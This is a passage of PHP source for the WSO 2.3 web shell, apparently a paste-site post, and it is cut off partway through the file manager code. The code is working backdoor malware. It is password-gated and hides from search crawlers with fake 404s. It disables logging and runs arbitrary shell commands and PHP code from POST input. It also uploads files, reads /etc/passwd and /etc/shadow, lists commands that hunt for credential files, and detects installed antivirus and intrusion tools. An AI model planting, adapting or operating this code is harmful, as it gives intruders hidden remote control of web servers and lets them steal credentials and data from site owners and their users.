· 5 years ago · Feb 12, 2020, 07:06 PM
1$auth_pass = "7bcaecd93ee17829c3e5e48c91786310";
2$color = "#df5";
3$default_action = 'FilesMan';
4$default_charset = 'Windows-1251';
5
6if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
7 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
8 foreach($userAgents as $agent)
9 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
10 header('HTTP/1.0 404 Not Found');
11 exit;
12 }
13}
14@session_start();
15@error_reporting(0);
16@ini_set('error_log',NULL);
17@ini_set('log_errors',0);
18@ini_set('max_execution_time',0);
19@set_time_limit(0);
20@set_magic_quotes_runtime(0);
21@define('VERSION', '2.3');
22if( get_magic_quotes_gpc() ) {
23 function WSOstripslashes($array) {
24 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
25 }
26 $_POST = WSOstripslashes($_POST);
27}
28function wsoLogin() {
29 die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
30}
31if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
32 if( empty( $auth_pass ) ||
33 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
34 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
35 else
36 wsoLogin();
37
38if( strtolower( substr(PHP_OS,0,3) ) == "win" )
39 $os = 'win';
40else
41 $os = 'nix';
42$safe_mode = @ini_get('safe_mode');
43$disable_functions = @ini_get('disable_functions');
44$home_cwd = @getcwd();
45if( isset( $_POST['c'] ) )
46 @chdir($_POST['c']);
47$cwd = @getcwd();
48if( $os == 'win') {
49 $home_cwd = str_replace("\\", "/", $home_cwd);
50 $cwd = str_replace("\\", "/", $cwd);
51}
52if( $cwd[strlen($cwd)-1] != '/' )
53 $cwd .= '/';
54
55if($os == 'win')
56 $aliases = array(
57 "List Directory" => "dir",
58 "Find index.php in current dir" => "dir /s /w /b index.php",
59 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
60 "Show active connections" => "netstat -an",
61 "Show running services" => "net start",
62 "User accounts" => "net user",
63 "Show computers" => "net view",
64 "ARP Table" => "arp -a",
65 "IP Configuration" => "ipconfig /all"
66 );
67else
68 $aliases = array(
69 "List dir" => "ls -lha",
70 "list file attributes on a Linux second extended file system" => "lsattr -va",
71 "show opened ports" => "netstat -an | grep -i listen",
72 "Find" => "",
73 "find all suid files" => "find / -type f -perm -04000 -ls",
74 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
75 "find all sgid files" => "find / -type f -perm -02000 -ls",
76 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
77 "find config.inc.php files" => "find / -type f -name config.inc.php",
78 "find config* files" => "find / -type f -name \"config*\"",
79 "find config* files in current dir" => "find . -type f -name \"config*\"",
80 "find all writable folders and files" => "find / -perm -2 -ls",
81 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
82 "find all service.pwd files" => "find / -type f -name service.pwd",
83 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
84 "find all .htpasswd files" => "find / -type f -name .htpasswd",
85 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
86 "find all .bash_history files" => "find / -type f -name .bash_history",
87 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
88 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
89 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
90 "Locate" => "",
91 "locate httpd.conf files" => "locate httpd.conf",
92 "locate vhosts.conf files" => "locate vhosts.conf",
93 "locate proftpd.conf files" => "locate proftpd.conf",
94 "locate psybnc.conf files" => "locate psybnc.conf",
95 "locate my.conf files" => "locate my.conf",
96 "locate admin.php files" =>"locate admin.php",
97 "locate cfg.php files" => "locate cfg.php",
98 "locate conf.php files" => "locate conf.php",
99 "locate config.dat files" => "locate config.dat",
100 "locate config.php files" => "locate config.php",
101 "locate config.inc files" => "locate config.inc",
102 "locate config.inc.php" => "locate config.inc.php",
103 "locate config.default.php files" => "locate config.default.php",
104 "locate config* files " => "locate config",
105 "locate .conf files"=>"locate '.conf'",
106 "locate .pwd files" => "locate '.pwd'",
107 "locate .sql files" => "locate '.sql'",
108 "locate .htpasswd files" => "locate '.htpasswd'",
109 "locate .bash_history files" => "locate '.bash_history'",
110 "locate .mysql_history files" => "locate '.mysql_history'",
111 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
112 "locate backup files" => "locate backup",
113 "locate dump files" => "locate dump",
114 "locate priv files" => "locate priv"
115 );
116
117function wsoHeader() {
118 if(empty($_POST['charset']))
119 $_POST['charset'] = $GLOBALS['default_charset'];
120 global $color;
121 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO " . VERSION ."</title>
122<style>
123body{background-color:#444;color:#e1e1e1;}
124body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
125table.info{ color:#fff;background-color:#222; }
126span,h1,a{ color: $color !important; }
127span{ font-weight: bolder; }
128h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
129div.content{ padding: 5px;margin-left:5px;background-color:#333; }
130a{ text-decoration:none; }
131a:hover{ text-decoration:underline; }
132.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
133.bigarea{ width:100%;height:250px; }
134input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
135form{ margin:0px; }
136#toolsTbl{ text-align:center; }
137.toolsInp{ width: 300px }
138.main th{text-align:left;background-color:#5e5e5e;}
139.main tr:hover{background-color:#5e5e5e}
140.l1{background-color:#444}
141pre{font-family:Courier,Monospace;}
142</style>
143<script>
144 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
145 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
146 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
147 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
148 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
149 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
150 function set(a,c,p1,p2,p3,charset) {
151 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
152 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
153 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
154 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
155 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
156 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
157 }
158 function g(a,c,p1,p2,p3,charset) {
159 set(a,c,p1,p2,p3,charset);
160 document.mf.submit();
161 }
162 function a(a,c,p1,p2,p3,charset) {
163 set(a,c,p1,p2,p3,charset);
164 var params = 'ajax=true';
165 for(i=0;i<document.mf.elements.length;i++)
166 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
167 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
168 }
169 function sr(url, params) {
170 if (window.XMLHttpRequest)
171 req = new XMLHttpRequest();
172 else if (window.ActiveXObject)
173 req = new ActiveXObject('Microsoft.XMLHTTP');
174 if (req) {
175 req.onreadystatechange = processReqChange;
176 req.open('POST', url, true);
177 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
178 req.send(params);
179 }
180 }
181 function processReqChange() {
182 if( (req.readyState == 4) )
183 if(req.status == 200) {
184 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
185 var arr=reg.exec(req.responseText);
186 eval(arr[2].substr(0, arr[1]));
187 } else alert('Request error!');
188 }
189</script>
190<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
191<form method=post name=mf style='display:none;'>
192<input type=hidden name=a>
193<input type=hidden name=c>
194<input type=hidden name=p1>
195<input type=hidden name=p2>
196<input type=hidden name=p3>
197<input type=hidden name=charset>
198</form>";
199 $freeSpace = @diskfreespace($GLOBALS['cwd']);
200 $totalSpace = @disk_total_space($GLOBALS['cwd']);
201 $totalSpace = $totalSpace?$totalSpace:1;
202 $release = @php_uname('r');
203 $kernel = @php_uname('s');
204 $millink = 'http://sEc-r1z.com/search.php?dong=';
205 if( strpos('Linux', $kernel) !== false )
206 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
207 else
208 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
209 if(!function_exists('posix_getegid')) {
210 $user = @get_current_user();
211 $uid = @getmyuid();
212 $gid = @getmygid();
213 $group = "?";
214 } else {
215 $uid = @posix_getpwuid(@posix_geteuid());
216 $gid = @posix_getgrgid(@posix_getegid());
217 $user = $uid['name'];
218 $uid = $uid['uid'];
219 $group = $gid['name'];
220 $gid = $gid['gid'];
221 }
222 $cwd_links = '';
223 $path = explode("/", $GLOBALS['cwd']);
224 $n=count($path);
225 for($i=0;$i<$n-1;$i++) {
226 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
227 for($j=0;$j<=$i;$j++)
228 $cwd_links .= $path[$j].'/';
229 $cwd_links .= "\")'>".$path[$i]."/</a>";
230 }
231 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
232 $opt_charsets = '';
233 foreach($charsets as $item)
234 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
235 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
236 if(!empty($GLOBALS['auth_pass']))
237 $m['Logout'] = 'Logout';
238 $m['Self remove'] = 'SelfRemove';
239 $menu = '';
240 foreach($m as $k => $v)
241 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
242 $drives = "";
243 if ($GLOBALS['os'] == 'win') {
244 foreach( range('c','z') as $drive )
245 if (is_dir($drive.':\\'))
246 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
247 }
248 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
249 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[sEc-r1z crEw]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
250 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
251 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
252}
253
254function wsoFooter() {
255 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
256 echo "
257</div>
258<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
259 <tr>
260 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
261 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
262 </tr><tr>
263 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
264 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
265 </tr><tr>
266 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
267 <td><form method='post' ENCTYPE='multipart/form-data'>
268 <input type=hidden name=a value='FilesMAn'>
269 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
270 <input type=hidden name=p1 value='uploadFile'>
271 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
272 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
273 </tr></table></div></body></html>";
274}
275
276if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
277if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
278function wsoEx($in) {
279 $out = '';
280 if(function_exists('exec')) {
281 @exec($in,$out);
282 $out = @join("\n",$out);
283 }elseif(function_exists('passthru')) {
284 ob_start();
285 @passthru($in);
286 $out = ob_get_clean();
287 }elseif(function_exists('system')) {
288 ob_start();
289 @system($in);
290 $out = ob_get_clean();
291 }elseif(function_exists('shell_exec')) {
292 $out = shell_exec($in);
293 }elseif(is_resource($f = @popen($in,"r"))) {
294 $out = "";
295 while(!@feof($f))
296 $out .= fread($f,1024);
297 pclose($f);
298 }
299 return $out;
300}
301function wsoViewSize($s) {
302 if($s >= 1073741824)
303 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
304 elseif($s >= 1048576)
305 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
306 elseif($s >= 1024)
307 return sprintf('%1.2f', $s / 1024 ) . ' KB';
308 else
309 return $s . ' B';
310}
311
312function wsoPerms($p) {
313 if (($p & 0xC000) == 0xC000)$i = 's';
314 elseif (($p & 0xA000) == 0xA000)$i = 'l';
315 elseif (($p & 0x8000) == 0x8000)$i = '-';
316 elseif (($p & 0x6000) == 0x6000)$i = 'b';
317 elseif (($p & 0x4000) == 0x4000)$i = 'd';
318 elseif (($p & 0x2000) == 0x2000)$i = 'c';
319 elseif (($p & 0x1000) == 0x1000)$i = 'p';
320 else $i = 'u';
321 $i .= (($p & 0x0100) ? 'r' : '-');
322 $i .= (($p & 0x0080) ? 'w' : '-');
323 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
324 $i .= (($p & 0x0020) ? 'r' : '-');
325 $i .= (($p & 0x0010) ? 'w' : '-');
326 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
327 $i .= (($p & 0x0004) ? 'r' : '-');
328 $i .= (($p & 0x0002) ? 'w' : '-');
329 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
330 return $i;
331}
332function wsoPermsColor($f) {
333 if (!@is_readable($f))
334 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
335 elseif (!@is_writable($f))
336 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
337 else
338 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
339}
340if(!function_exists("scandir")) {
341 function scandir($dir) {
342 $dh = opendir($dir);
343 while (false !== ($filename = readdir($dh))) {
344 $files[] = $filename;
345 }
346 return $files;
347 }
348}
349function wsoWhich($p) {
350 $path = wsoEx('which '.$p);
351 if(!empty($path))
352 return $path;
353 return false;
354}
355function actionSecInfo() {
356 wsoHeader();
357 echo '<h1>Server security information</h1><div class=content>';
358 function wsoSecParam($n, $v) {
359 $v = trim($v);
360 if($v) {
361 echo '<span>'.$n.': </span>';
362 if(strpos($v, "\n") === false)
363 echo $v.'<br>';
364 else
365 echo '<pre class=ml1>'.$v.'</pre>';
366 }
367 }
368
369 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
370 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
371 wsoSecParam('Open base dir', @ini_get('open_basedir'));
372 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
373 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
374 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
375 $temp=array();
376 if(function_exists('mysql_get_client_info'))
377 $temp[] = "MySql (".mysql_get_client_info().")";
378 if(function_exists('mssql_connect'))
379 $temp[] = "MSSQL";
380 if(function_exists('pg_connect'))
381 $temp[] = "PostgreSQL";
382 if(function_exists('oci_connect'))
383 $temp[] = "Oracle";
384 wsoSecParam('Supported databases', implode(', ', $temp));
385 echo '<br>';
386
387 if( $GLOBALS['os'] == 'nix' ) {
388 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
389 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
390 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
391 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
392 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
393 wsoSecParam('OS version', @file_get_contents('/proc/version'));
394 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
395 if(!$GLOBALS['safe_mode']) {
396 echo '<br>';
397 $temp=array();
398 foreach ($userful as $item)
399 if(wsoWhich($item)){$temp[]=$item;}
400 wsoSecParam('Userful', implode(', ',$temp));
401 $temp=array();
402 foreach ($danger as $item)
403 if(wsoWhich($item)){$temp[]=$item;}
404 wsoSecParam('Danger', implode(', ',$temp));
405 $temp=array();
406 foreach ($downloaders as $item)
407 if(wsoWhich($item)){$temp[]=$item;}
408 wsoSecParam('Downloaders', implode(', ',$temp));
409 echo '<br/>';
410 wsoSecParam('HDD space', wsoEx('df -h'));
411 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
412 }
413 } else {
414 wsoSecParam('OS Version',wsoEx('ver'));
415 wsoSecParam('Account Settings',wsoEx('net accounts'));
416 wsoSecParam('User Accounts',wsoEx('net user'));
417 }
418 echo '</div>';
419 wsoFooter();
420}
421
422function actionPhp() {
423 if( isset($_POST['ajax']) ) {
424 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
425 ob_start();
426 eval($_POST['p1']);
427 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
428 echo strlen($temp), "\n", $temp;
429 exit;
430 }
431 wsoHeader();
432 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
433 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
434 ob_start();
435 phpinfo();
436 $tmp = ob_get_clean();
437 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
438 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
439 echo str_replace('h1','h2',$tmp).'</div><br>';
440 }
441 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
442 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
443 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
444 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
445 if(!empty($_POST['p1'])) {
446 ob_start();
447 eval($_POST['p1']);
448 echo htmlspecialchars(ob_get_clean());
449 }
450 echo '</pre></div>';
451 wsoFooter();
452}
453
454function actionFilesMan() {
455 wsoHeader();
456 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
457 if(!empty($_POST['p1'])) {
458 switch($_POST['p1']) {
459 case 'uploadFile':
460 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
461 echo "Can't upload file!";
462 break;
463 case 'mkdir':
464 if(!@mkdir($_POST['p2']))
465 echo "Can't create new dir";
466 break;
467 case 'delete':
468 function deleteDir($path) {
469 $path = (substr($path,-1)=='/') ? $path:$path.'/';
470 $dh = opendir($path);
471 while ( ($item = readdir($dh) ) !== false) {
472 $item = $path.$item;
473 if ( (basename($item) == "..") || (basename($item) == ".") )
474 continue;
475 $type = filetype($item);
476 if ($type == "dir")
477 deleteDir($item);
478 else
479 @unlink($item);
480 }
481 closedir($dh);
482 rmdir($path);
483 }
484 if(is_array(@$_POST['f']))
485 foreach($_POST['f'] as $f) {
486 $f = urldecode($f);
487 if(is_dir($f))
488 deleteDir($f);
489 else
490 @unlink($f);
491 }
492 break;
493 case 'paste':
494 if($_SESSION['act'] == 'copy') {
495 function copy_paste($c,$s,$d){
496 if(is_dir($c.$s)){
497 mkdir($d.$s);
498 $h = @opendir($c.$s);
499 while (($f = @readdir($h)) !== false)
500 if (($f != ".") and ($f != "..")) {
501 copy_paste($c.$s.'/',$f, $d.$s.'/');
502 }
503 } elseif(is_file($c.$s)) {
504 @copy($c.$s, $d.$s);
505 }
506 }
507 foreach($_SESSION['f'] as $f)
508 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
509 } elseif($_SESSION['act'] == 'move') {
510 function move_paste($c,$s,$d){
511 if(is_dir($c.$s)){
512 mkdir($d.$s);
513 $h = @opendir($c.$s);
514 while (($f = @readdir($h)) !== false)
515 if (($f != ".") and ($f != "..")) {
516 copy_paste($c.$s.'/',$f, $d.$s.'/');
517 }
518 } elseif(@is_file($c.$s)) {
519 @copy($c.$s, $d.$s);
520 }
521 }
522 foreach($_SESSION['f'] as $f)
523 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
524 } elseif($_SESSION['act'] == 'zip') {
525 if(class_exists('ZipArchive')) {
526 $zip = new ZipArchive();
527 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
528 chdir($_SESSION['c']);
529 foreach($_SESSION['f'] as $f) {
530 if(@is_file($_SESSION['c'].$f))
531 $zip->addFile($_SESSION['c'].$f, $f);
532 elseif(@is_dir($_SESSION['c'].$f)) {
533 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
534 foreach ($iterator as $key=>$value) {
535 $zip->addFile(realpath($key), $key);
536 }
537 }
538 }
539 chdir($GLOBALS['cwd']);
540 $zip->close();
541 }
542 }
543 } elseif($_SESSION['act'] == 'unzip') {
544 if(class_exists('ZipArchive')) {
545 $zip = new ZipArchive();
546 foreach($_SESSION['f'] as $f) {
547 if($zip->open($_SESSION['c'].$f)) {
548 $zip->extractTo($GLOBALS['cwd']);
549 $zip->close();
550 }
551 }
552 }
553 }
554 unset($_SESSION['f']);
555 break;
556 default:
557 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
558 $_SESSION['act'] = @$_POST['p1'];
559 $_SESSION['f'] = @$_POST['f'];
560 foreach($_SESSION['f'] as $k => $f)
561 $_SESSION['f'][$k] = urldecode($f);
562 $_SESSION['c'] = @$_POST['c'];
563 }
564 break;
565 }
566 }
567 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
568 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
569 global $sort;
570 $sort = array('name', 1);
571 if(!empty($_POST['p1'])) {
572 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
573 $sort = array($match[1], (int)$match[2]);
574 }
575echo "<script>
576 function sa() {
577 for(i=0;i<document.files.elements.length;i++)
578 if(document.files.elements[i].type == 'checkbox')
579 document.files.elements[i].checked = document.files.elements[0].checked;
580 }
581</script>
582<table width='100%' class='main' cellspacing='0' cellpadding='2'>
583<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
584 $dirs = $files = array();
585 $n = count($dirContent);
586 for($i=0;$i<$n;$i++) {
587 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
588 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
589 $tmp = array('name' => $dirContent[$i],
590 'path' => $GLOBALS['cwd'].$dirContent[$i],
591 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
592 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
593 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
594 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
595 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
596 );
597 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
598 $files[] = array_merge($tmp, array('type' => 'file'));
599 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
600 $dirs[] = array_merge($tmp, array('type' => 'link'));
601 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
602 $dirs[] = array_merge($tmp, array('type' => 'dir'));
603 }
604 $GLOBALS['sort'] = $sort;
605 function wsoCmp($a, $b) {
606 if($GLOBALS['sort'][0] != 'size')
607 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
608 else
609 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
610 }
611 usort($files, "wsoCmp");
612 usort($dirs, "wsoCmp");
613 $files = array_merge($dirs, $files);
614 $l = 0;
615 foreach($files as $f) {
616 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
617 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
618 $l = $l?0:1;
619 }
620 echo "<tr><td colspan=7>
621 <input type=hidden name=a value='FilesMan'>
622 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
623 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
